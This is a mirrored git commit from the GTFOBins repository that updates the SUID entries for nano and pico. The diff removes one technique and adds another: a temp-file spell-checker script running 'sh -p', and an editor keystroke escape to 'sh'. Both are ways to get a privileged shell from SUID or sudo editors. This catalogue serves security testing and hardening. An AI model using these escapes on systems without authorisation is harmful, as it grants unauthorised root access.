mirror of
				https://github.com/GTFOBins/GTFOBins.github.io
				synced 2025-10-31 16:58:36 +01:00 
			
		
		
		
	Update SUID in nano and pico
This commit is contained in:
		| @@ -20,12 +20,9 @@ functions: | ||||
|   suid: | ||||
|     - description: The `SPELL` environment variable can be used in place of the `-s` option if the command line cannot be changed. | ||||
|       code: | | ||||
|         TF=$(mktemp) | ||||
|         echo '#!/bin/sh -p | ||||
|         exec sh -p' > $TF | ||||
|         chmod +x $TF | ||||
|         ./nano -s $TF /etc/hosts | ||||
|         ^T | ||||
|         ./nano | ||||
|         ^R^X | ||||
|         reset; sh 1>&0 2>&0 | ||||
|   sudo: | ||||
|     - code: | | ||||
|         sudo nano | ||||
|   | ||||
| @@ -20,12 +20,9 @@ functions: | ||||
|   suid: | ||||
|     - description: The `SPELL` environment variable can be used in place of the `-s` option if the command line cannot be changed. | ||||
|       code: | | ||||
|         TF=$(mktemp) | ||||
|         echo '#!/bin/sh -p | ||||
|         exec sh -p' > $TF | ||||
|         chmod +x $TF | ||||
|         ./pico -s $TF /etc/hosts | ||||
|         ^T | ||||
|         ./pico | ||||
|         ^R^X | ||||
|         reset; sh 1>&0 2>&0 | ||||
|   sudo: | ||||
|     - code: | | ||||
|         sudo pico | ||||
|   | ||||
		Reference in New Issue
	
	Block a user